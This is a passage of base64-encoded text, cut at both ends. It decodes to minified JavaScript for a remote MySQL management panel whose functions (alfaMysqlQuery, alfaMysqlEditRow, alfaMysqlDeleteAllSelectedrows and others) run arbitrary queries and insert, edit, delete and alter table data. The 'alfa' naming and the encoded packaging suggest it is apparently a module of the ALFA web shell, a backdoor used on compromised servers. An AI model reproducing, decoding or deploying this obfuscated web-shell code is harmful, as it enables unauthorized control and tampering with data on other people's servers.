25zL21lbnUvYl9taW51cy5wbmcifWZ1bmN0aW9uIGFsZmFNeXNxbFF1ZXJ5KGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJkYl90YXJnZXQiKSxhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgdGV4dGFyZWFbbmFtZT1xdWVyeV0iKS52YWx1ZTthbGZhTXlzcWxBcGkoe2RiX2lkOmEsZGJfdGFyZ2V0OnQsYWpheF9pZDoibXlzcWxfbG9hZF9xdWVyeV9kYXRhIixkYl9pbmZvOntxdWVyeTppfSxwb3N0OnthbGZhMjoicXVlcnkifX0sZnVuY3Rpb24oZSl7MCE9ZS5sZW5ndGgmJihlPUpTT04ucGFyc2UoZSksYWxmYU15c3FsUmVwb3J0QnVpbGRlcihhLGUpLGQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5teXNxbC1xdWVyeS10YWJsZSIpLmlubmVySFRNTD1lLnN0YXR1cz9lLnRhYmxlOiIiLGFsZmFNeXNxbFRhYkN0bCh7Y2hpbGQ6MSxkYl9pZDphLHRhcmdldDoiLm15c3FsLXF1ZXJ5LXJlc3VsdC1jb250ZW50In0sITApKX0pfWZ1bmN0aW9uIGFsZmFNeXNxbFJlcG9ydEJ1aWxkZXIoZSx0KXt2YXIgYT0iIjt0LnN0YXR1c3x8KGE9IjxkaXY+PHNwYW4+RXJyb3I6IDwvc3Bhbj48ZGl2IHN0eWxlPSdwYWRkaW5nLWxlZnQ6IDUwcHg7Jz48cHJlPiIrdC5lcnJvcisiPC9wcmU+PC9kaXY+PC9kaXY+Iik7dmFyIGk9IjxkaXY+PHNwYW4+UXVlcnk6PC9zcGFuPjxkaXYgc3R5bGU9J3BhZGRpbmctbGVmdDogNTBweDsnPjxwcmU+Iit0LnF1ZXJ5KyI8L3ByZT48L2Rpdj4iK2ErIjwvZGl2PiI7ZC5xdWVyeVNlbGVjdG9yKCIjIitlKyIgLm15c3FsLXF1ZXJ5LXJlcG9ydGVyIikuaW5uZXJIVE1MPWl9ZnVuY3Rpb24gYWxmYU15c3FsVGFibGVQYW5lbEN0bChlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxhPSh0PWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGQucXVlcnlTZWxlY3RvcigiIyIrdCkpLGk9YS5xdWVyeVNlbGVjdG9yKCIudGFibGVzLXBhbmVsLWN0bCIpOyJub25lIj09aS5nZXRBdHRyaWJ1dGUoIm1vZGUiKT8oYS5xdWVyeVNlbGVjdG9yKCIubXlzcWwtdGFibGVzIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLGkuc2V0QXR0cmlidXRlKCJtb2RlIiwiYmxvY2siKSxpLmlubmVySFRNTD0iJiN4M0M7JiN4M0M7IixhLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC1xdWVyeS1yZXN1bHRzLWZpeGVkIikuY2xhc3NMaXN0LnJlbW92ZSgibXlzcWwtcXVlcnktcmVzdWx0cy1maXhlZCIpKTooYS5xdWVyeVNlbGVjdG9yKCIubXlzcWwtdGFibGVzIikuc3R5bGUuZGlzcGxheT0ibm9uZSIsaS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJub25lIiksaS5pbm5lckhUTUw9IiYjeDNFOyYjeDNFOyIsYS5xdWVyeVNlbGVjdG9yKCIubXlzcWwtcXVlcnktcmVzdWx0cyIpLmNsYXNzTGlzdC5hZGQoIm15c3FsLXF1ZXJ5LXJlc3VsdHMtZml4ZWQiKSksaS5jbGFzc0xpc3QudG9nZ2xlKCJ0YWJsZXMtcGFuZWwtY3RsLW1pbiIpfWZ1bmN0aW9uIGFsZmFNeXNxbFRhYkN0bChlLHQpe3ZhciBhPXZvaWQgMD09PXQ/ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIik6ZS5kYl9pZCxpPXZvaWQgMD09PXQ/ZS5nZXRBdHRyaWJ1dGUoInRhcmdldCIpOmUudGFyZ2V0O2QucXVlcnlTZWxlY3RvckFsbCgiIyIrYSsiIC5teXNxbC1xdWVyeS1jb250ZW50IikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmNsYXNzTGlzdC5hZGQoIm15c3FsLWhpZGUtY29udGVudCIpfSksZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXF1ZXJ5LXJlc3VsdC10YWJzIC5teXNxbC1xdWVyeS1zZWxlY3RlZC10YWIiKS5jbGFzc0xpc3QucmVtb3ZlKCJteXNxbC1xdWVyeS1zZWxlY3RlZC10YWIiKSx2b2lkIDA9PT10P2UuY2xhc3NMaXN0LmFkZCgibXlzcWwtcXVlcnktc2VsZWN0ZWQtdGFiIik6ZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXF1ZXJ5LXJlc3VsdC10YWJzIGRpdjpudGgtY2hpbGQoIitlLmNoaWxkKyIpIikuY2xhc3NMaXN0LmFkZCgibXlzcWwtcXVlcnktc2VsZWN0ZWQtdGFiIiksZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgIitpKS5jbGFzc0xpc3QucmVtb3ZlKCJteXNxbC1oaWRlLWNvbnRlbnQiKX1mdW5jdGlvbiBhbGZhTG9hZFRhYmxlRGF0YShlLHQpe3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJkYl90YXJnZXQiKSxpPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpO2FsZmFNeXNxbEFwaSh7ZGJfaWQ6aSxkYl90YXJnZXQ6YSxhamF4X2lkOiJteXNxbF9sb2FkX3RhYmxlX2RhdGEiLGRiX2luZm86e3RhYmxlOnR9LHBvc3Q6e2FsZmEyOiJsb2FkX2RhdGEifX0sZnVuY3Rpb24oZSl7aWYoMCE9ZS5sZW5ndGgpe2U9SlNPTi5wYXJzZShlKTt2YXIgbD0iIixyPSI8dGFibGUgYm9yZGVyPScxJz48dHIgc3R5bGU9J3RleHQtYWxpZ246IGxlZnQ7YmFja2dyb3VuZC1jb2xvcjogIzMwNWI4ZTtjb2xvcjojRkZGRkZGOyc+PHRoPkNvbHVtbjwvdGg+PHRoPlR5cGU8L3RoPjx0aD5WYWx1ZTwvdGg+PC90cj4iLG89Ijx0YWJsZSBib3JkZXI9JzEnPjx0ciBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiAjMzA1YjhlO2NvbG9yOiNGRkZGRkY7Jz48dGg+Q29sdW1uPC90aD48dGg+VHlwZTwvdGg+PHRoPlZhbHVlPC90aD48dGg+Q2hhbmdlPC90aD48L3RyPiIsbj0iPHRhYmxlIGJvcmRlcj0nMSc+PHRyIHN0eWxlPSd0ZXh0LWFsaWduOiBsZWZ0O2JhY2tncm91bmQtY29sb3I6ICMzMDViOGU7Y29sb3I6I0ZGRkZGRjsnPjx0aD5Db2x1bW48L3RoPjx0aD5UeXBlPC90aD48dGg+Q29sbGF0aW9uPC90aD48dGg+T3BlcmF0b3I8L3RoPjx0aD5WYWx1ZTwvdGg+PC90cj4iLHM9WyJpbnQiLCJzbWFsbGludCIsImJpZ2ludCIsInRpbnlpbnQiLCJtZWRpdW1pbnQiXSxjPVsibG9uZ3RleHQiLCJ0ZXh0IiwibWVkaXVtdGV4dCIsInRpbnl0ZXh0Il07Zm9yKHZhciB1IGluIGUuY29sdW1ucyl7dmFyIHA9InRleHQiOy0xIT1zLmluZGV4T2YoZS5jb2x1bW5zW3VdLmRhdGFfdHlwZSkmJihwPSJudW1iZXIiKSxuKz0iPHRyPjx0aCBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDsnPiIrZS5jb2x1bW5zW3VdLm5hbWUrIjwvdGg+PHRkPiIrZS5jb2x1bW5zW3VdLnR5cGUrIjwvdGQ+PHRkPiIrZS5jb2x1bW5zW3VdLmNvbGxhdGlvbisiPC90ZD48dGQ+PHNlbGVjdCBuYW1lPSciK2UuY29sdW1uc1t1XS5uYW1lKyInPjxvcHRpb24gdmFsdWU9Jz0nPj08L29wdGlvbj48b3B0aW9uIHZhbHVlPSchPSc+IT08L29wdGlvbj48b3B0aW9uIHZhbHVlPSc+Jz4mZ3Q7PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nPj0nPiZndDs9PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nPCc+Jmx0Ozwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Jzw9Jz4mbHQ7PTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCI9ICcnXCI+PSAnJzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCIhPSAnJ1wiPiE9ICcnPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nTElLRSc+TElLRTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J0xJS0UgJS4uLiUnPkxJS0UgJS4uLiU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdOT1QgTElLRSc+Tk9UIExJS0U8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdSRUdFWFAnPlJFR0VYUDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J1JFR0VYUCBeLi4uJCc+UkVHRVhQIF4uLi4kPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nTk9UIFJFR0VYUCc+Tk9UIFJFR0VYUDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J0lOICguLi4pJz5JTiAoLi4uKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J05PVCBJTiAoLi4uKSc+Tk9UIElOICguLi4pPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nQkVUV0VFTic+QkVUV0VFTjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J05PVCBCRVRXRUVOJz5OT1QgQkVUV0VFTjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J0lTIE5VTEwnPklTIE5VTEw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdJUyBOT1QgTlVMTCc+SVMgTk9UIE5VTEw8L29wdGlvbj48L3NlbGVjdD48L3RkPjx0ZD48aW5wdXQgdHlwZT0nIitwKyInIG5hbWU9JyIrZS5jb2x1bW5zW3VdLm5hbWUrIic+PC90ZD48L3RyPiI7dmFyIGY9YWxmYU15c3FsTG9hZERhdGFUeXBlKGUuY29sdW1uc1t1XS5kYXRhX3R5cGUpO251bGw9PWUuY29sdW1uc1t1XS50eXBlX3ZhbHVlJiYoZS5jb2x1bW5zW3VdLnR5cGVfdmFsdWU9IiIpLG8rPSI8dHI+PHRoIHN0eWxlPSd0ZXh0LWFsaWduOiBsZWZ0Oyc+IitlLmNvbHVtbnNbdV0ubmFtZSsiPC90aD48dGQ+PHNlbGVjdCBuYW1lPSdzZWxfIitlLmNvbHVtbnNbdV0ubmFtZSsiJz4iK2YrIjwvc2VsZWN0PjwvdGQ+PHRkPjxpbnB1dCBuYW1lPSd2YWx1ZV8iK2UuY29sdW1uc1t1XS5uYW1lKyInIHR5cGU9J3RleHQnIHZhbHVlPSciKygtMT09Yy5pbmRleE9mKGUuY29sdW1uc1t1XS5kYXRhX3R5cGUpP2UuY29sdW1uc1t1XS50eXBlX3ZhbHVlOiIiKSsiJz48L3RkPjx0ZD48YnV0dG9uIGNvbF9uYW1lPSciK2UuY29sdW1uc1t1XS5uYW1lKyInIHRibF9uYW1lPSciK3QrIicgZGJfaWQ9JyIraSsiJyBkYl90YXJnZXQ9JyIrYSsiJyBvbmNsaWNrPSdhbGZhTXlzcWxBbHRlclRibCh0aGlzKTtyZXR1cm4gZmFsc2U7Jz5DaGFuZ2U8L2J1dHRvbj48L3RkPjwvdHI+Ijt2YXIgbT0iIjtzd2l0Y2goZS5jb2x1bW5zW3VdLmRhdGFfdHlwZSl7Y2FzZSJsb25ndGV4dCI6Y2FzZSJ0ZXh0IjptPSI8dGV4dGFyZWEgbmFtZT0nIitlLmNvbHVtbnNbdV0ubmFtZSsiJyByb3dzPSc1Jz48L3RleHRhcmVhPiI7YnJlYWs7Y2FzZSJpbnQiOmNhc2Uic21hbGxpbnQiOmNhc2UiYmlnaW50IjptPSI8aW5wdXQgdHlwZT0nbnVtYmVyJyBuYW1lPSciK2UuY29sdW1uc1t1XS5uYW1lKyInIHZhbHVlPScnPiI7YnJlYWs7ZGVmYXVsdDptPSI8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nIitlLmNvbHVtbnNbdV0ubmFtZSsiJyB2YWx1ZT0nJz4ifXIrPSI8dHI+PHRoIHN0eWxlPSd0ZXh0LWFsaWduOiBsZWZ0Oyc+IitlLmNvbHVtbnNbdV0ubmFtZSsiPC90aD48dGQ+IitlLmNvbHVtbnNbdV0udHlwZSsiPC90ZD48dGQ+IittKyI8L3RkPjwvdHI+In1pZihyKz0iPC90YWJsZT48ZGl2IHN0eWxlPSdtYXJnaW4tbGVmdDoyMHB4Oyc+PGJ1dHRvbiB0YmxfbmFtZT0nIit0KyInIGRiX2lkPSciK2krIicgZGJfdGFyZ2V0PSciK2ErIicgb25jbGljaz0nYWxmYU15c3FsVXBkYXRlUm93KHRoaXMsIFwiaW5zZXJ0XCIpO3JldHVybiBmYWxzZTsnPkluc2VydDwvYnV0dG9uPjwvZGl2PjxkaXYgY2xhc3M9J215c3FsLWluc2VydC1yZXN1bHQnPjwvZGl2PiIsbys9IjwvdGFibGU+PGRpdiBjbGFzcz0nbXlzcWwtc3RydWN0dXJlLXFyZXMnPjwvZGl2PiIsbis9IjwvdGFibGU+PGRpdiBzdHlsZT0ncGFkZGluZy1sZWZ0OiAzODRweDttYXJnaW4tdG9wOiAxNXB4Oyc+PGJ1dHRvbiB0YmxfbmFtZT0nIit0KyInIGRiX2lkPSciK2krIicgZGJfdGFyZ2V0PSciK2ErIicgb25jbGljaz0nYWxmYU15c3FsU2VhcmNoKHRoaXMpO3JldHVybiBmYWxzZTsnPlNlYXJjaDwvYnV0dG9uPjwvZGl2PiIsZS5wYWdlcz4wKXtsKz0iPHNwYW4gc3R5bGU9J2N1cnNvcjpwb2ludGVyOycgZGJfaWQ9JyIraSsiJyBvbmNsaWNrPSdhbGZhTXlzcWxDaGFuZ2VQYWdlKHRoaXMsMSk7Jz48PDwvc3Bhbj4gPHNwYW4+IHBhZ2U6IDwvc3Bhbj4gPHNlbGVjdCB0YmxfbmFtZT0nIit0KyInIGRiX3RhcmdldD0nIithKyInIG5hbWU9J215c3FsLXEtcGFnZXMnIGRiX2lkPSciK2krIicgY2xhc3M9J2RiLW9wdC1pZCcgb25jaGFuZ2U9J2FsZmFNeXNxbENoYW5nZVBhZ2UodGhpcyk7JyBwYWdlcz0nIitlLnBhZ2VzKyInPiI7Zm9yKHZhciBiPTE7YjxlLnBhZ2VzKzE7YisrKWwrPSI8b3B0aW9uPiIrYisiPC9vcHRpb24+IjtsKz0iPC9zZWxlY3Q+PHNwYW4+IE9mICIrZS5wYWdlcysiPC9zcGFuPiA8c3BhbiBzdHlsZT0nY3Vyc29yOnBvaW50ZXI7JyBkYl9pZD0nIitpKyInIG9uY2xpY2s9J2FsZmFNeXNxbENoYW5nZVBhZ2UodGhpcywyKTsnPj4+PC9zcGFuPiJ9dmFyIHk9ZC5xdWVyeVNlbGVjdG9yKCIjIitpKTt5LnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC1zZWFyY2gtYXJlYSIpLmlubmVySFRNTD1uLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLWluc2VydC1yb3ciKS5pbm5lckhUTUw9cix5LnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC1lZGl0LXJvdyIpLmlubmVySFRNTD0iIix5LnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC1zdHJ1Y3R1cmUiKS5pbm5lckhUTUw9byx5LnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC1xdWVyeS1yZXN1bHQtaGVhZGVyIC5teXNxbC1xdWVyeS1wYWdlciIpLmlubmVySFRNTD1sLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLXF1ZXJ5LXRhYmxlIikuaW5uZXJIVE1MPWUuc3RhdHVzP2UudGFibGU6IiIsYWxmYU15c3FsVGFiQ3RsKHtjaGlsZDoxLGRiX2lkOmksdGFyZ2V0OiIubXlzcWwtcXVlcnktcmVzdWx0LWNvbnRlbnQifSwhMCksZC5xdWVyeVNlbGVjdG9yKCIjIitpKyIgLm15c3FsLXF1ZXJ5LXJlc3VsdC10YWJzIGRpdjpudGgtY2hpbGQoNikiKS5zdHlsZS5kaXNwbGF5PSJub25lIixhbGZhTXlzcWxSZXBvcnRCdWlsZGVyKGksZSl9fSl9ZnVuY3Rpb24gYWxmYU15c3FsQWx0ZXJUYmwoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2EpLGw9ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIikscj1lLmdldEF0dHJpYnV0ZSgiY29sX25hbWUiKSxvPXt9O28udHlwZT1pLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC1zdHJ1Y3R1cmUgc2VsZWN0W25hbWU9c2VsXyIrcisiXSIpLnZhbHVlLG8uaW5wdXQ9aS5xdWVyeVNlbGVjdG9yKCIubXlzcWwtc3RydWN0dXJlIGlucHV0W25hbWU9dmFsdWVfIityKyJdIikudmFsdWUsYWxmYU15c3FsQXBpKHtkYl9pZDphLGRiX3RhcmdldDp0LGFqYXhfaWQ6Im15c3FsX3RhYmxlX2FsdGVyIixkYl9pbmZvOnt0YWJsZTpsLGNvbHVtbjpyLGFsdGVyOm99LHBvc3Q6e2FsZmEyOiJhbHRlciJ9fSxmdW5jdGlvbihlKXt2YXIgdD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtc3RydWN0dXJlLXFyZXMiKTt0LmlubmVySFRNTD1lLHQuc3R5bGUuZGlzcGxheT0iYmxvY2sifSl9ZnVuY3Rpb24gYWxmYU15c3FsU2VhcmNoKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJkYl90YXJnZXQiKSxhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZC5xdWVyeVNlbGVjdG9yKCIjIithKSxsPWUuZ2V0QXR0cmlidXRlKCJ0YmxfbmFtZSIpLHI9e307aS5xdWVyeVNlbGVjdG9yQWxsKCIubXlzcWwtc2VhcmNoLWFyZWEgaW5wdXQsIC5teXNxbC1zZWFyY2gtYXJlYSBzZWxlY3QiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe3IuaGFzT3duUHJvcGVydHkoZS5uYW1lKXx8KHJbZS5uYW1lXT17fSksIlNFTEVDVCI9PWUudGFnTmFtZT9yW2UubmFtZV0ub3B0PWUudmFsdWU6cltlLm5hbWVdLnZhbHVlPWUudmFsdWV9KSxhbGZhTXlzcWxBcGkoe2RiX2lkOmEsZGJfdGFyZ2V0OnQsYWpheF9pZDoibXlzcWxfdGFibGVfc2VhcmNoX3F1ZXJ5IixkYl9pbmZvOnt0YWJsZTpsLHNlYXJjaDpyfSxwb3N0OnthbGZhMjoic2VhcmNoIn19LGZ1bmN0aW9uKGUpezAhPWUubGVuZ3RoJiYoZT1KU09OLnBhcnNlKGUpLGFsZmFNeXNxbFJlcG9ydEJ1aWxkZXIoYSxlKSxhbGZhTXlzcWxUYWJDdGwoe2NoaWxkOjEsZGJfaWQ6YSx0YXJnZXQ6Ii5teXNxbC1xdWVyeS1yZXN1bHQtY29udGVudCJ9LCEwKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtcXVlcnktdGFibGUiKS5pbm5lckhUTUw9ZS50YWJsZSl9KX1mdW5jdGlvbiBhbGZhTXlzcWxFZGl0Um93KGUsdCl7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGk9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksbD0oZC5xdWVyeVNlbGVjdG9yKCIjIitpKSxlLmdldEF0dHJpYnV0ZSgiY29sX2tleSIpKSxyPWUuZ2V0QXR0cmlidXRlKCJrZXkiKSxvPWUuZ2V0QXR0cmlidXRlKCJ0YmxfbmFtZSIpLG49ZS5nZXRBdHRyaWJ1dGUoInJvd19pZCIpO2FsZmFNeXNxbEFwaSh7ZGJfaWQ6aSxkYl90YXJnZXQ6YSxhamF4X2lkOiJteXNxbF90YWJsZV9lZGl0X3F1ZXJ5IixkYl9pbmZvOnt0YWJsZTpvLGNvbF9rZXk6bCxrZXk6cn0scG9zdDp7YWxmYTI6dH19LGZ1bmN0aW9uKGUpe2lmKDAhPWUubGVuZ3RoKWlmKGU9SlNPTi5wYXJzZShlKSwiZWRpdCI9PXQpe3ZhciBzPSI8dGFibGUgYm9yZGVyPScxJz48dHIgc3R5bGU9J3RleHQtYWxpZ246IGxlZnQ7YmFja2dyb3VuZC1jb2xvcjogIzMwNWI4ZTtjb2xvcjojRkZGRkZGOyc+PHRoPkNvbHVtbjwvdGg+PHRoPlR5cGU8L3RoPjx0aD5WYWx1ZTwvdGg+PC90cj4iO2Zvcih2YXIgYyBpbiBlKXt2YXIgdT0iIjtzd2l0Y2goZVtjXS50eXBlLnRhZyl7Y2FzZSJ0ZXh0YXJlYSI6dT0iPHRleHRhcmVhIG5hbWU9JyIrZVtjXS5jb2wrIicgcm93cz0nNSc+IitlW2NdLnZhbHVlKyI8L3RleHRhcmVhPiI7YnJlYWs7Y2FzZSJpbnB1dCI6dT0iPGlucHV0IHR5cGU9JyIrZVtjXS50eXBlLnR5cGUrIicgbmFtZT0nIitlW2NdLmNvbCsiJyB2YWx1ZT0nIitlW2NdLnZhbHVlKyInPiJ9cys9Ijx0cj48dGggc3R5bGU9J3RleHQtYWxpZ246IGxlZnQ7Jz4iK2VbY10uY29sKyI8L3RoPjx0ZD4iK2VbY10udHlwZS5jb2xfdHlwZSsiPC90ZD48dGQ+Iit1KyI8L3RkPjwvdHI+In1zKz0iPC90YWJsZT48ZGl2IHN0eWxlPSdtYXJnaW4tbGVmdDoyMHB4Oyc+PGJ1dHRvbiBjb2xfa2V5PSciK2wrIicga2V5PSciK3IrIicgdGJsX25hbWU9JyIrbysiJyBkYl9pZD0nIitpKyInIGRiX3RhcmdldD0nIithKyInIG9uY2xpY2s9J2FsZmFNeXNxbFVwZGF0ZVJvdyh0aGlzLCBcImVkaXRcIik7cmV0dXJuIGZhbHNlOyc+VXBkYXRlPC9idXR0b24+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtdXBkYXRlLXJlc3VsdCc+PC9kaXY+IixkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAubXlzcWwtZWRpdC1yb3ciKS5pbm5lckhUTUw9cyxhbGZhTXlzcWxUYWJDdGwoe2NoaWxkOjYsZGJfaWQ6aSx0YXJnZXQ6Ii5teXNxbC1lZGl0LXJvdyJ9LCEwKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2Om50aC1jaGlsZCg2KSIpLnN0eWxlLmRpc3BsYXk9ImlubGluZS1ibG9jayJ9ZWxzZSJkZWxldGUiPT10JiYoZS5zdGF0dXM/ZC5xdWVyeVNlbGVjdG9yKCIjIitpKyIgLnRibF9yb3dfbCIrbikucmVtb3ZlKCk6YWxlcnQoZS5lcnJvcikpfSl9ZnVuY3Rpb24gYWxmYU15c3FsVGJsU2VsZWN0QWxsKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpO2QucXVlcnlTZWxlY3RvckFsbCgiIyIrdCsiIC5teXNxbC1tYWluIGlucHV0W25hbWU9dGJsX3Jvd3NfY2hlY2tib3hcXFtcXF1dIikuZm9yRWFjaChmdW5jdGlvbih0KXt0LmNoZWNrZWQ9ZS5jaGVja2VkfSl9ZnVuY3Rpb24gYWxmYU15c3FsRGVsZXRlQWxsU2VsZWN0ZWRyb3dzKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGk9ZS5nZXRBdHRyaWJ1dGUoImNvbF9rZXkiKSxsPWUuZ2V0QXR0cmlidXRlKCJ0YmxfbmFtZSIpLHI9W107aWYoZC5xdWVyeVNlbGVjdG9yQWxsKCIjIit0KyIgLm15c3FsLW1haW4gaW5wdXRbbmFtZT10Ymxfcm93c19jaGVja2JveFxcW1xcXV0iKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuY2hlY2tlZCYmci5wdXNoKGUudmFsdWUpfSksMD09ci5sZW5ndGgpcmV0dXJuITE7YWxmYU15c3FsQXBpKHtkYl9pZDp0LGRiX3RhcmdldDphLGFqYXhfaWQ6Im15c3FsX3RhYmxlX2RlbGV0ZV9hbGxfcXVlcnkiLGRiX2luZm86e3RhYmxlOmwsY29sX2tleTppLHJvd3M6cn0scG9zdDp7YWxmYTI6ImRlbGV0ZV9hbGwifX0sZnVuY3Rpb24oZSl7aWYoIiIhPWUpaWYoKGU9SlNPTi5wYXJzZShlKSkuc3RhdHVzKXt2YXIgYT0wLGk9ZC5xdWVyeVNlbGVjdG9yKCIjIit0KTtkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK3QrIiAubXlzcWwtbWFpbiBpbnB1dFtuYW1lPXRibF9yb3dzX2NoZWNrYm94XFxbXFxdXSIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5jaGVja2VkJiYoYT1lLmdldEF0dHJpYnV0ZSgicm93X2lkIiksaS5xdWVyeVNlbGVjdG9yKCIudGJsX3Jvd19sIithKS5yZW1vdmUoKSl9KX1lbHNlIGFsZXJ0KGUuZXJyb3IpfSl9ZnVuY3Rpb24gYWxmYU15c3FsVXBkYXRlUm93KGUsdCl7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGk9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksbD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2kpLHI9Ii5teXNxbC1pbnNlcnQtcm93IixvPSIubXlzcWwtaW5zZXJ0LXJlc3VsdCIsbj0ibXlzcWxfdGFibGVfaW5zZXJ0X3F1ZXJ5IixzPSJpbnNlcnQiLGM9e3RhYmxlOmUuZ2V0QXR0cmlidXRlKCJ0YmxfbmFtZSIpfTtpZigiZWRpdCI9PXQpe3ZhciB1PWUuZ2V0QXR0cmlidXRlKCJjb2xfa2V5IikscD1lLmdldEF0dHJpYnV0ZSgia2V5Iik7cj0iLm15c3FsLWVkaXQtcm93IixvPSIubXlzcWwtdXBkYXRlLXJlc3VsdCIsbj0ibXlzcWxfdGFibGVfdXBkYXRlX3F1ZXJ5IixzPSJ1cGRhdGUiLGMuY29sX2tleT11LGMua2V5PXB9dmFyIGY9e307bC5xdWVyeVNlbGVjdG9yQWxsKHIrIiBpbnB1dCwgIityKyIgdGV4dGFyZWEiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2YuaGFzT3duUHJvcGVydHkoZS5uYW1lKXx8KGZbZS5uYW1lXT17fSksZltlLm5hbWVdPWUudmFsdWV9KSxjLmRhdGE9ZixhbGZhTXlzcWxBcGkoe2RiX2lkOmksZGJfdGFyZ2V0OmEsYWpheF9pZDpuLGRiX2luZm86Yyxwb3N0OnthbGZhMjpzfX0sZnVuY3Rpb24oZSl7aWYoMCE9ZS5sZW5ndGgpe2U9SlNPTi5wYXJzZShlKTt2YXIgdD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAiK28pO3Quc3R5bGUuZGlzcGxheT0iYmxvY2siLGUuc3RhdHVzP3QuaW5uZXJIVE1MPSJTdWNjZXNzLi4uIjp0LmlubmVySFRNTD1lLmVycm9yfX0pfWZ1bmN0aW9uIGFsZmFNeXNxbExvYWREYXRhVHlwZShlKXtlPWUudG9VcHBlckNhc2UoKTt2YXIgdD1bIklOVCIsIlZBUkNIQVIiLCJURVhUIiwiREFURSIse2tleToiTnVtZXJpYyIsdmFsczpbIlRJTllJTlQiLCJTTUFMTElOVCIsIk1FRElVTUlOVCIsIklOVCIsIkJJR0lOVCIsIi0iLCJERUNJTUFMIiwiRkxPQVQiLCJET1VCTEUiLCJSRUFMIiwiLSIsIkJJVCIsIkJPT0xFQU4iLCJTRVJJQUwiXX0se2tleToiRGF0ZSBhbmQgdGltZSIsdmFsczpbIkRBVEUiLCJEQVRFVElNRSIsIlRJTUVTVEFNUCIsIlRJTUUiLCJZRUFSIl19LHtrZXk6IlN0cmluZyIsdmFsczpbIkNIQVIiLCJWQVJDSEFSIiwiLSIsIlRJTllURVhUIiwiVEVYVCIsIk1FRElVTVRFWFQiLCJMT05HVEVYVCIsIi0iLCJCSU5BUlkiLCJWQVJCSU5BUlkiLCItIiwiVElOWUJMT0IiLCJNRURJVU1CTE9CIiwiQkxPQiIsIkxPTkdCTE9CIiwiLSIsIkVOVU0iLCJTRVQiXX0se2tleToiU3BhdGlhbCIsdmFsczpbIkdFT01FVFJZIiwiUE9JTlQiLCJMSU5FU1RSSU5HIiwiUE9MWUdPTiIsIk1VTFRJUE9JTlQiLCJNVUxUSUxJTkVTVFJJTkciLCJNVUxUSVBPTFlHT04iLCJHRU9NRVRSWUNPTExFQ1RJT04iXX0se2tleToiSlNPTiIsdmFsczpbIkpTT04iXX1dLGE9IiIsaT0hMTtmb3IodmFyIGwgaW4gdClpZigib2JqZWN0Ij09dHlwZW9mIHRbbF0pe2Zvcih2YXIgciBpbiBhKz0nPG9wdGdyb3VwIGxhYmVsPSInK3RbbF0ua2V5KyciPicsdFtsXS52YW